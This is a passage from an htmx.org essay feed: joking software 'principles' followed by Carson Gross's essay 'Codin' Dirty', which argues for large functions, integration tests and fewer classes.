&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1843807054970139139&quot;&gt;The Try It Out Substitution Principle&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;
&lt;blockquote&gt;
&lt;p&gt;The “Try It Out” Substitution Principle states that you should try something out and, if that doesn’t work, think about why, and substitute something else for it instead.&lt;&#x2F;p&gt;
&lt;p&gt;It is common to need to substitute multiple things to hit on the right thing eventually.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1843807769557909528&quot;&gt;The Useful Stuff Principle&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;
&lt;blockquote&gt;
&lt;p&gt;The Useful Stuff Principle states that entities must depend on useful stuff, not overly abstract nonsense. It states that  a high-level module can depend on a low-level module, because that’s how software works.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1843808113230860419&quot;&gt;Dependencies&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;
&lt;blockquote&gt;
&lt;p&gt;The The Existence of Dependencies Is Not An Excuse For Destroying The Codebase Principle states that the existence of dependencies is not an excuse for destroying the codebase&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1843821830207099007&quot;&gt;Abstraction Budget&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;
&lt;blockquote&gt;
&lt;p&gt;consider giving your developers an abstraction budget&lt;&#x2F;p&gt;
&lt;p&gt;when they exhaust that budget &amp;amp; ask for more, tell them they can have another abstraction when they remove an existing one&lt;&#x2F;p&gt;
&lt;p&gt;when they complain, look for classes with the term “Factory”,  “Lookup” or “Visitor” in their names&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1843822378352291914&quot;&gt;Fewer Functions&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;
&lt;blockquote&gt;
&lt;p&gt;if your function is only called in one place, consider inlining it &amp;amp; reducing the total number of method signatures in your module, to help people better understand it&lt;&#x2F;p&gt;
&lt;p&gt;studies show longer methods have fewer bugs per line of code, so favor longer methods over many smaller methods&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1843823231771521367&quot;&gt;“God” Object&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;
&lt;blockquote&gt;
&lt;p&gt;consider creating “God” objects that wrap a lot of functionality up in a single package&lt;&#x2F;p&gt;
&lt;p&gt;consumers of your API don’t want to learn 50 different classes to get something done, so give them a few that provide the core functionality of your module with minimal fuss&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1843827082687852706&quot;&gt;Copy &amp;amp; Paste Driven Development&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;
&lt;blockquote&gt;
&lt;p&gt;copy&amp;amp;paste driven development is a development methodology where, when you need to reuse some code but in a slightly different manner, you copy &amp;amp; paste the code &amp;amp; then modify it to satisfy the new requirements&lt;&#x2F;p&gt;
&lt;p&gt;this contrasts with designing an elaborate object model, for example&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1843828023747063866&quot;&gt;Implementation Driven Development&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;
&lt;blockquote&gt;
&lt;p&gt;implementation driven development is a development methodology where you first explore various implementations of your idea to determine the best one, then add tests for it&lt;&#x2F;p&gt;
&lt;p&gt;no test code may be written without first having some implementation code to drive that test&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1843830823113634132&quot;&gt;Mixing Concerns&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;
&lt;blockquote&gt;
&lt;p&gt;Mixing of Concerns is a design methodology whereby “concerns” of various kinds are mixed into a single code unit.  This improves locality in that code unit by placing all relevant logic within it.  An example of this is hypermedia, which mixes control &amp;amp; presentation information.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1843831529300267103&quot;&gt;Macroservices Architecture&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;
&lt;blockquote&gt;
&lt;p&gt;a macroservice architecture revolves around “macroservices”: network-deployed modules of code that provide a significant amount of functionality to the overall system&lt;&#x2F;p&gt;
&lt;p&gt;by adopting a macroservice-based architecture you minimize deployment complexity &amp;amp; maximize resource utilization&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1844005320223539524&quot;&gt;Sorry&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;
&lt;blockquote&gt;
&lt;p&gt;kinda had a manic break last night my bad&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Codin&#x27; Dirty</title>
        <published>2024-11-24T00:00:00+00:00</published>
        <updated>2024-11-24T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/codin-dirty/"/>
        <id>https://htmx.org/essays/codin-dirty/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/codin-dirty/">&lt;center&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;quick-and-dirty.png&quot; alt=&quot;quick-and-dirty&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;center&gt;
&lt;blockquote&gt;
&lt;p&gt;“Writing clean code is what you must do in order to call yourself a professional. There is no reasonable excuse for
doing anything less than your best.” &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.goodreads.com&#x2F;book&#x2F;show&#x2F;3735293-clean-code&quot;&gt;Clean Code&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;In this essay I want to talk about how I write code.  I am going to call my approach “codin’ dirty” because I often
go against the recommendations of &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.amazon.com&#x2F;Clean-Code-Handbook-Software-Craftsmanship&#x2F;dp&#x2F;0132350882&quot;&gt;Clean Code&lt;&#x2F;a&gt;,
a popular approach to writing code.&lt;&#x2F;p&gt;
&lt;p&gt;Now, I don’t really consider my code all that dirty: it’s a little gronky in places but for the most part I’m
happy with it and find it easy enough to maintain with reasonable levels of quality.&lt;&#x2F;p&gt;
&lt;p&gt;I’m also &lt;em&gt;not&lt;&#x2F;em&gt; trying to convince &lt;em&gt;you&lt;&#x2F;em&gt; to code dirty with this essay.  Rather, I want to
show that it is possible to write reasonably successful software this way and, I hope, offer some balance around software
methodology discussions.&lt;&#x2F;p&gt;
&lt;p&gt;I’ve been programming for a while now and I have seen a bunch of different approaches to building software work.  Some
people love Object-Oriented Programming (I like it), other very smart people hate it.  Some folks love the expressiveness
of dynamic languages, other people hate it. Some people ship successfully while strictly following Test Driven Development,
others slap a few end-to-end tests on at the end of the project, and many people end up somewhere between these extremes.&lt;&#x2F;p&gt;
&lt;p&gt;I’ve seen projects using all of these different approaches ship and maintain successful software.&lt;&#x2F;p&gt;
&lt;p&gt;So, again, my goal here is not to convince you that my way of coding is the only way, but rather to show you (particularly
younger developers, who are prone to being intimidated by terms like “Clean Code”) that you can have a successful
programming career using a lot of different approaches, and that mine is one of them.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;tldr&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#tldr&quot; aria-label=&quot;Anchor link for: tldr&quot;&gt;TLDR&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Three “dirty” coding practices I’m going to discuss in this essay are:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;(Some) big functions are good, actually&lt;&#x2F;li&gt;
&lt;li&gt;Prefer integration tests to unit tests&lt;&#x2F;li&gt;
&lt;li&gt;Keep your class&#x2F;interface&#x2F;concept count down&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;If you want to skip the rest of the essay, that’s the takeaway.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;i-like-big-functions&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#i-like-big-functions&quot; aria-label=&quot;Anchor link for: i-like-big-functions&quot;&gt;I Like Big Functions&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;I think that large functions are fine. In fact, I think that &lt;em&gt;some&lt;&#x2F;em&gt; big functions are usually a &lt;em&gt;good&lt;&#x2F;em&gt; thing in a codebase.&lt;&#x2F;p&gt;
&lt;p&gt;This is in contrast with Clean Code, which says:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;“The first rule of functions is that they should be small. The second rule of functions is that they should be
smaller than that.” &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.goodreads.com&#x2F;book&#x2F;show&#x2F;3735293-clean-code&quot;&gt;Clean Code&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Now, it always depends on the type of work that I’m doing, of course, but I usually tend to organize my functions into the
following:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;A few large “crux” functions, the real meat of the module.  I set no bound on the Lines of Code (LOC) of these functions,
although I start to feel a little bad when they get larger than maybe 200-300 LOC.&lt;&#x2F;li&gt;
&lt;li&gt;A fair number of “support” functions, which tend to be in the 10-20 LOC range&lt;&#x2F;li&gt;
&lt;li&gt;A fair number of “utility” functions, which tend to be in the 5-10 LOC range&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;As an example of a “crux” function, consider the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bigskysoftware&#x2F;htmx&#x2F;blob&#x2F;7fc1d61b4fdbca486263eda79c3f31feb10af783&#x2F;src&#x2F;htmx.js#L4057&quot;&gt;&lt;code&gt;issueAjaxRequest()&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;
in &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&quot;&gt;htmx&lt;&#x2F;a&gt;.  This function is nearly 400 lines long!&lt;&#x2F;p&gt;
&lt;p&gt;Definitely not clean!&lt;&#x2F;p&gt;
&lt;p&gt;However, in this function there is a lot of context to keep around, and it lays out a series of specific steps that must
proceed in a fairly linear manner.  There isn’t any reuse to be found by splitting it up into other functions and I
think it would hurt the clarity (and also importantly for me, the debuggability) of the function if I did so.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;important-things-should-be-big&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#important-things-should-be-big&quot; aria-label=&quot;Anchor link for: important-things-should-be-big&quot;&gt;Important Things Should Be Big&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;A big reason I like big functions is that I think that in software, all other things being equal, important things should
be big, whereas unimportant things should be little.&lt;&#x2F;p&gt;
&lt;p&gt;Consider a visual representation of “Clean” code versus “Dirty” code:&lt;&#x2F;p&gt;
&lt;div style=&quot;padding: 1em&quot;&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;clean-v-dirty.png&quot; alt=&quot;clean-v-dirty.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;p&gt;When you split your functions into many equally sized, small implementations you end up smearing the important parts of your
implementation around your module, even if they are expressed perfectly well in a larger function.&lt;&#x2F;p&gt;
&lt;p&gt;Everything ends up looking the same: a function signature definition, followed by an if statement or a for loop, maybe a function
call or two, and a return.&lt;&#x2F;p&gt;
&lt;p&gt;If you allow your important “crux” functions to be larger it is easier to pick them out from the sea of functions, they
are obviously important: just look at them, they are big!&lt;&#x2F;p&gt;
&lt;p&gt;There are also fewer functions in general in all categories, since much of the code has been merged into larger functions.
Fewer lines of code are dedicated to particular type signatures (which can change over time) and it easier to keep the
important and maybe even the medium-important function names and signatures in your head.  You also tend to have fewer
LOC overall when you do this.&lt;&#x2F;p&gt;
&lt;p&gt;I prefer coming into a new “dirty” code module: I will be able to understand it more quickly and will remember the
important parts more easily.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;empirical-evidence&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#empirical-evidence&quot; aria-label=&quot;Anchor link for: empirical-evidence&quot;&gt;Empirical Evidence&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;What about the empirical (dread word in software!) evidence for the ideal function size?&lt;&#x2F;p&gt;
&lt;p&gt;In &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;flylib.com&#x2F;books&#x2F;en&#x2F;2.823.1.64&#x2F;1&#x2F;&quot;&gt;Chapter 7, Section 4&lt;&#x2F;a&gt; of &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Code_Complete&quot;&gt;Code Complete&lt;&#x2F;a&gt;,
Steve McConnell lays out some evidence for and against longer functions.  The results are mixed, but many
of the studies he cites show better errors-per-line metrics for &lt;em&gt;larger&lt;&#x2F;em&gt;, rather than smaller, functions.&lt;&#x2F;p&gt;
&lt;p&gt;There are &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;arxiv.org&#x2F;pdf&#x2F;2205.01842#:~:text=In%20this%20paper%20we%20examine,also%20decreases%20overall%20maintenance%20efforts&quot;&gt;newer studies&lt;&#x2F;a&gt;
as well that argue for smaller functions (&amp;lt;24 LOC) but that focus on what they call “change-proneness”.  When it comes to
bugs, they say:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Correlations between SLOC and bug-proneness (i.e., #BuggyCommits) are significantly lower than the four
change-proneness indicators.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;And, of course, longer functions have more code in them, so the correlation of bug-proneness &lt;em&gt;per line of code&lt;&#x2F;em&gt; will be
even lower.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;real-world-examples&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#real-world-examples&quot; aria-label=&quot;Anchor link for: real-world-examples&quot;&gt;Real World Examples&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;How about some examples from real world, complex and successful software?&lt;&#x2F;p&gt;
&lt;p&gt;Consider the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;sqlite&#x2F;sqlite&#x2F;blob&#x2F;70989b6f5923a732b0caee881bd7c3ff8859e9c5&#x2F;src&#x2F;expr.c#L3502&quot;&gt;&lt;code&gt;sqlite3CodeRhsOfIn()&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;
function in &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sqlite.com&#x2F;&quot;&gt;SQLite&lt;&#x2F;a&gt;, a popular open source database.  It looks to be &amp;gt; 200LOC, and a walk around the SQLite
codebase will furnish many other examples of large functions.  SQLite is noted for being extremely high quality and
very well maintained.&lt;&#x2F;p&gt;
&lt;p&gt;Or consider the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;chromium&#x2F;chromium&#x2F;blob&#x2F;6fdb8fdff0ba83db148ff2f87105bc95e5a4ceec&#x2F;chrome&#x2F;renderer&#x2F;chrome_content_renderer_client.cc#L591&quot;&gt;&lt;code&gt;ChromeContentRendererClient::RenderFrameCreated()&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;
function in the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.google.com&#x2F;chrome&#x2F;index.html&quot;&gt;Google Chrome&lt;&#x2F;a&gt; Web Browser.  Also looks to be over 200 LOC.  Again, poking around the codebase
will give you plenty of other long functions to look at.  Chrome is solving one of the hardest problems in software:
being a good general purpose hypermedia client.  And yet their code doesn’t look very “clean” to me.&lt;&#x2F;p&gt;
&lt;p&gt;Next, consider the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;redis&#x2F;redis&#x2F;blob&#x2F;3fcddfb61f903d7112da186cba8b1c93a99dc87f&#x2F;src&#x2F;kvstore.c#L359&quot;&gt;&lt;code&gt;kvstoreScan()&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;
function in &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;redis.io&#x2F;&quot;&gt;Redis&lt;&#x2F;a&gt;.  Smaller, on the order of 40LOC, but still far larger than Clean Code would
suggest.  A quick scan through the Redis codebase will furnish many other “dirty” examples.&lt;&#x2F;p&gt;
&lt;p&gt;These are all C-based projects, so maybe the rule of small functions only applies to object-oriented languages, like
Java?&lt;&#x2F;p&gt;
&lt;p&gt;OK, take a look at the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;JetBrains&#x2F;intellij-community&#x2F;blob&#x2F;8c6cc1579ac358451ba2c5b8a54853249fdc5451&#x2F;java&#x2F;compiler&#x2F;impl&#x2F;src&#x2F;com&#x2F;intellij&#x2F;compiler&#x2F;actions&#x2F;CompileAction.java#L60&quot;&gt;&lt;code&gt;update()&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;
function in the &lt;code&gt;CompilerAction&lt;&#x2F;code&gt; class of &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.jetbrains.com&#x2F;idea&#x2F;&quot;&gt;IntelliJ&lt;&#x2F;a&gt;, which is roughly 90LOC.  Again,
poking around their codebase will reveal many other large functions well over 50LOC.&lt;&#x2F;p&gt;
&lt;p&gt;SQLite, Chrome, Redis &amp;amp; IntelliJ…&lt;&#x2F;p&gt;
&lt;p&gt;These are important, complicated, successful &amp;amp; well maintained pieces of software, and yet
we can find large functions in all of them.&lt;&#x2F;p&gt;
&lt;p&gt;Now, I don’t want to imply that any of the engineers on these projects agree with this essay in any way, but I think
that we have some fairly good evidence that longer functions are OK in software projects.  It seems safe to say that
breaking up functions just to keep them small is not necessary.  Of course you can consider doing so for other reasons
such as code reuse, but being small just for small’s sake seems unnecessary.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;i-prefer-integration-tests-to-unit-tests&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#i-prefer-integration-tests-to-unit-tests&quot; aria-label=&quot;Anchor link for: i-prefer-integration-tests-to-unit-tests&quot;&gt;I Prefer Integration Tests to Unit Tests&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;I am a huge fan of testing and highly recommend testing software as a key component of building maintainable systems.&lt;&#x2F;p&gt;
&lt;p&gt;htmx itself is only possible because we have a good &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;test&quot;&gt;test suite&lt;&#x2F;a&gt; that helps us ensure
that the library stays stable as we work on it.&lt;&#x2F;p&gt;
&lt;p&gt;If you take a look at the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bigskysoftware&#x2F;htmx&#x2F;blob&#x2F;master&#x2F;test&#x2F;core&#x2F;ajax.js&quot;&gt;test suite&lt;&#x2F;a&gt; one thing
you might notice is the relative lack of &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Unit_testing&quot;&gt;Unit Tests&lt;&#x2F;a&gt;.  We have very few
test that directly call functions on the htmx object.  Instead, the tests are mostly
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Integration_testing&quot;&gt;Integration Tests&lt;&#x2F;a&gt;: they set up a particular DOM configuration
with some htmx attributes and then, for example, click a button and verify some things about the state of the DOM afterward.&lt;&#x2F;p&gt;
&lt;p&gt;This is in contrast with Clean Code’s recommendation of extensive &lt;em&gt;unit testing&lt;&#x2F;em&gt;, coupled with Test-First Development:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;First Law&lt;&#x2F;strong&gt; You may not write production code until you have written a failing unit test.
&lt;strong&gt;Second Law&lt;&#x2F;strong&gt; You may not write more of a unit test than is sufficient to fail, and not compiling is failing.
&lt;strong&gt;Third&lt;&#x2F;strong&gt; Law You may not write more production code than is sufficient to pass the currently failing test.&lt;&#x2F;p&gt;
&lt;p&gt;–&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.goodreads.com&#x2F;book&#x2F;show&#x2F;3735293-clean-code&quot;&gt;Clean Code&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;I generally avoid doing this sort of thing, especially early on in projects.  Early on you often have no
idea what the right abstractions for your domain are, and you need to try a few different approaches to figure out what
you are doing.  If you adopt the test first approach you end up with a bunch of tests that are going to break as you
explore the problem space, trying to find the right abstractions.&lt;&#x2F;p&gt;
&lt;p&gt;Further, unit testing encourages the exhaustive testing of every single function you write, so you often end up having more
tests that are tied to a particular implementation of things, rather than the high level API or conceptual ideas of the
module of code.&lt;&#x2F;p&gt;
&lt;p&gt;Of course, you can and should refactor your tests as you change things, but the reality is that a large and growing test
suite takes on its own mass and momentum in a project, especially as other engineers join, making changes more and more
difficult as they are added.  You end up creating things like test helpers, mocks, etc. for your testing code.&lt;&#x2F;p&gt;
&lt;p&gt;All that code and complexity tends over time to lock you in to a particular implementation.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;dirty-testing&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#dirty-testing&quot; aria-label=&quot;Anchor link for: dirty-testing&quot;&gt;Dirty Testing&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;My preferred approach in many projects is to do some unit testing, but not a ton, early on in the project and wait
until the core APIs and concepts of a module have crystallized.&lt;&#x2F;p&gt;
&lt;p&gt;At that point I then test the API exhaustively with integrations tests.&lt;&#x2F;p&gt;
&lt;p&gt;In my experience, these integration tests are much more useful than unit tests, because they remain stable and useful
even as you change the implementation around.  They aren’t as tied to the current codebase, but rather express higher level
invariants that survive refactors much more readily.&lt;&#x2F;p&gt;
&lt;p&gt;I have also found that once you have a few higher-level integration tests, you can then do Test-Driven development, but
at the higher level: you don’t think about units of code, but rather the API you want to achieve, write the tests for that
API and then implement it however you see fit.&lt;&#x2F;p&gt;
&lt;p&gt;So, I think you should hold off on committing to a large test suite until later in the project, and that test suite
should be done at a higher level than Test-First Development suggests.&lt;&#x2F;p&gt;
&lt;p&gt;Generally, if I can write a higher-level integration test
to demonstrate a bug or feature I will try to do so, with the hope that the higher-level test will have a longer shelf
life for the project.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;i-prefer-to-minimize-classes&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#i-prefer-to-minimize-classes&quot; aria-label=&quot;Anchor link for: i-prefer-to-minimize-classes&quot;&gt;I Prefer To Minimize Classes&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;A final coding strategy that I use is that I generally strive to minimize the number of classes&#x2F;interfaces&#x2F;concepts in
my projects.&lt;&#x2F;p&gt;
&lt;p&gt;Clean Code does not explicitly say that you should maximize the # of classes in your system, but many recommendations it
makes tend to lead to this outcome:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;“Prefer Polymorphism to If&#x2F;Else or Switch&#x2F;Case”&lt;&#x2F;li&gt;
&lt;li&gt;“The first rule of classes is that they should be small. The second rule of classes is that they should be smaller
than that.”&lt;&#x2F;li&gt;
&lt;li&gt;“The Single Responsibility Principle (SRP) states that a class or module should have one, and only one, reason to
change.”&lt;&#x2F;li&gt;
&lt;li&gt;“The first thing you might notice is that the program got a lot longer. It went from a little over one page to
nearly three pages in length.”&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;As with functions, I don’t think classes should be particularly small, or that you should prefer polymorphism to a
simple (or even a long, janky) if&#x2F;else statement, or that a given module or class should only have one reason to change.&lt;&#x2F;p&gt;
&lt;p&gt;And I think the last sentence here is a good hint why: you tend to end up with a lot more code which may be of little
real benefit to the system.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;god-objects&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#god-objects&quot; aria-label=&quot;Anchor link for: god-objects&quot;&gt;“God” Objects&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;You will often hear people criticise the idea of &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;God_object&quot;&gt;“God objects”&lt;&#x2F;a&gt; and I
can of course understand where this criticism comes from: an incoherent class or module with a morass of unrelated
functions is obviously a bad thing.&lt;&#x2F;p&gt;
&lt;p&gt;However, I think that fear of “God objects” can tend to lead to an opposite problem: overly-decomposed software.&lt;&#x2F;p&gt;
&lt;p&gt;To balance out this fear, let’s look at one of my favorite software packages,
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;guides.rubyonrails.org&#x2F;active_record_basics.html&quot;&gt;Active Record&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Active Record provides a way for you to map ruby object to a database, it is what is called an
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Object%E2%80%93relational_mapping&quot;&gt;Object&#x2F;Relational Mapping&lt;&#x2F;a&gt; tool.&lt;&#x2F;p&gt;
&lt;p&gt;And it does a great job of that, in my opinion: it makes the easy stuff easy,
the medium stuff easy enough, and when push comes to shove you can kick out to raw SQL without much fuss.&lt;&#x2F;p&gt;
&lt;p&gt;(This is a great example of what I call &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;grugbrain.dev&#x2F;#grug-on-apis&quot;&gt;“layering”&lt;&#x2F;a&gt; an API.)&lt;&#x2F;p&gt;
&lt;p&gt;But that’s not all the Active Record objects are good at: they also provide excellent functionality for building HTML
in the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;guides.rubyonrails.org&#x2F;action_view_overview.html&quot;&gt;view layer&lt;&#x2F;a&gt; of Rails.  They don’t include &lt;em&gt;HTML specific&lt;&#x2F;em&gt; functionality, but they do offer functionality
that is useful on the view side, such as providing an API to retrieve error messages, even at the field level.&lt;&#x2F;p&gt;
&lt;p&gt;When you are writing Ruby on Rails applications you simply pass your Active Record instances out to the view&#x2F;templates.&lt;&#x2F;p&gt;
&lt;p&gt;Compare this with a more heavily factored implementation, where validation errors are handled as their own “concern”.
Now you need to pass (or at least access) two different things in order to properly generate your HTML.  It’s not
